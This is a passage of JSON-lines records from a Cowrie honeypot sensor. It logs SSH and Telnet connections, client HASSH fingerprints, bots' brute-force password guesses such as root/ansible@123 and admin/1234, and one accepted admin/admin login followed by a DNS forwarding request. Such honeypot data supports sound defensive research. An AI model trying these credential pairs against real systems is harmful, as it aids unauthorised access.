-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:43.025456Z","src_ip":"115.68.226.124","session":"fea485539b61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ansible@123","message":"login attempt [root/ansible@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:43.966871Z","src_ip":"115.68.226.124","session":"fea485539b61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:45.187981Z","src_ip":"115.68.226.124","session":"fea485539b61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48158,"dst_ip":"10.17.0.5","dst_port":23,"session":"127eeb712874","protocol":"telnet","message":"New connection: 192.119.13.58:48158 (10.17.0.5:23) [session: 127eeb712874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:45.594283Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57624,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a74226865dc","protocol":"telnet","message":"New connection: 192.119.13.58:57624 (10.17.0.5:23) [session: 5a74226865dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:47.132462Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":62553,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee3d9f055167","protocol":"ssh","message":"New connection: 201.249.192.30:62553 (10.17.0.5:22) [session: ee3d9f055167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:51.006798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:51.011332Z","src_ip":"201.249.192.30","session":"ee3d9f055167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:51.083627Z","src_ip":"201.249.192.30","session":"ee3d9f055167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sergio","message":"login attempt [root/sergio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:51.402462Z","src_ip":"201.249.192.30","session":"ee3d9f055167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:52.479375Z","src_ip":"201.249.192.30","session":"ee3d9f055167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.58344125747681,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:53.450534Z","src_ip":"192.119.13.58","session":"0b139c9f4477","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.21417450904846,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:55.324712Z","src_ip":"192.119.13.58","session":"a31466caf4de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45934,"dst_ip":"10.17.0.5","dst_port":23,"session":"cabe70bfd42a","protocol":"telnet","message":"New connection: 192.119.13.58:45934 (10.17.0.5:23) [session: cabe70bfd42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:55.569783Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.15.216","src_port":55670,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7199681cb8e","protocol":"ssh","message":"New connection: 116.110.15.216:55670 (159.203.135.109:22) [session: b7199681cb8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:59.328815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:59.333033Z","src_ip":"116.110.15.216","session":"b7199681cb8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:00.302775Z","src_ip":"116.110.15.216","session":"b7199681cb8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.3048038482666,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:00.731724Z","src_ip":"192.119.13.58","session":"8e36629a9588","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:01.138156Z","src_ip":"116.110.15.216","session":"b7199681cb8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:02.449183Z","src_ip":"116.110.15.216","session":"b7199681cb8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59146,"dst_ip":"10.17.0.5","dst_port":23,"session":"775ebd2c7c56","protocol":"telnet","message":"New connection: 192.119.13.58:59146 (10.17.0.5:23) [session: 775ebd2c7c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:04.323342Z"}
{"eventid":"cowrie.session.closed","duration":42.609275102615356,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:04.688236Z","src_ip":"192.119.13.58","session":"be7ca153c056","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":57218,"dst_ip":"10.17.0.5","dst_port":22,"session":"7beeb5557aea","protocol":"ssh","message":"New connection: 40.83.182.122:57218 (10.17.0.5:22) [session: 7beeb5557aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:10.207258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:10.215709Z","src_ip":"40.83.182.122","session":"7beeb5557aea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:10.292913Z","src_ip":"40.83.182.122","session":"7beeb5557aea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"musicbot","message":"login attempt [root/musicbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:10.636933Z","src_ip":"40.83.182.122","session":"7beeb5557aea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:11.717658Z","src_ip":"40.83.182.122","session":"7beeb5557aea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.800970792770386,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:11.765419Z","src_ip":"192.119.13.58","session":"0f853d61d20e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.38394021987915,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:12.568810Z","src_ip":"192.119.13.58","session":"573c74058712","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.523173570632935,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:13.887164Z","src_ip":"192.119.13.58","session":"41021ff34ce8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39830,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaf4f3933538","protocol":"telnet","message":"New connection: 192.119.13.58:39830 (10.17.0.5:23) [session: aaf4f3933538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:17.788810Z"}
{"eventid":"cowrie.session.closed","duration":0.005991220474243164,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:17.794688Z","src_ip":"192.119.13.58","session":"aaf4f3933538","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39260,"dst_ip":"10.17.0.5","dst_port":23,"session":"51572875d6ae","protocol":"telnet","message":"New connection: 192.119.13.58:39260 (10.17.0.5:23) [session: 51572875d6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:18.674596Z"}
{"eventid":"cowrie.session.closed","duration":39.713714838027954,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:18.927152Z","src_ip":"192.119.13.58","session":"2de9328e8756","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.78279447555542,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:19.595319Z","src_ip":"192.119.13.58","session":"0df11bec5f6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57622,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2c599c3046e","protocol":"telnet","message":"New connection: 192.119.13.58:57622 (10.17.0.5:23) [session: d2c599c3046e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:21.677187Z"}
{"eventid":"cowrie.session.closed","duration":41.43651032447815,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:23.505716Z","src_ip":"192.119.13.58","session":"53c372a17c5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.40193772315979,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:23.534253Z","src_ip":"192.119.13.58","session":"5a74226865dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52818,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5bc110209b0","protocol":"telnet","message":"New connection: 192.119.13.58:52818 (10.17.0.5:23) [session: d5bc110209b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:26.902232Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55318,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a5d0d6e9364","protocol":"telnet","message":"New connection: 192.119.13.58:55318 (10.17.0.5:23) [session: 6a5d0d6e9364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:27.514177Z"}
{"eventid":"cowrie.session.closed","duration":46.43896126747131,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:32.033108Z","src_ip":"192.119.13.58","session":"127eeb712874","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":3126,"dst_ip":"10.17.0.5","dst_port":22,"session":"70655775fa39","protocol":"ssh","message":"New connection: 87.251.64.176:3126 (10.17.0.5:22) [session: 70655775fa39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:33.835016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:33.839444Z","src_ip":"87.251.64.176","session":"70655775fa39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:33.947692Z","src_ip":"87.251.64.176","session":"70655775fa39","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:34.235868Z","src_ip":"87.251.64.176","session":"70655775fa39","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:34.334509Z","session":"70655775fa39","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:34.431343Z","src_ip":"87.251.64.176","session":"70655775fa39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:34.529431Z","src_ip":"87.251.64.176","session":"70655775fa39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.099438190460205,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:35.613450Z","src_ip":"192.119.13.58","session":"6a5d0d6e9364","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37522,"dst_ip":"10.17.0.5","dst_port":23,"session":"57a91d9286fb","protocol":"telnet","message":"New connection: 192.119.13.58:37522 (10.17.0.5:23) [session: 57a91d9286fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:35.983901Z"}
{"eventid":"cowrie.session.closed","duration":40.89095687866211,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:36.460623Z","src_ip":"192.119.13.58","session":"cabe70bfd42a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34558,"dst_ip":"10.17.0.5","dst_port":23,"session":"4920a2c4e066","protocol":"telnet","message":"New connection: 192.119.13.58:34558 (10.17.0.5:23) [session: 4920a2c4e066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:42.017404Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39566,"dst_ip":"10.17.0.5","dst_port":23,"session":"732f44c5a4f2","protocol":"telnet","message":"New connection: 192.119.13.58:39566 (10.17.0.5:23) [session: 732f44c5a4f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:43.307416Z"}
{"eventid":"cowrie.session.closed","duration":4.980289459228516,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:46.997552Z","src_ip":"192.119.13.58","session":"4920a2c4e066","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":54164,"dst_ip":"10.17.0.5","dst_port":22,"session":"c68baaa5f4f9","protocol":"ssh","message":"New connection: 103.164.9.74:54164 (10.17.0.5:22) [session: c68baaa5f4f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:47.727872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:02:47.733738Z","src_ip":"103.164.9.74","session":"c68baaa5f4f9","protocol":"ssh"}
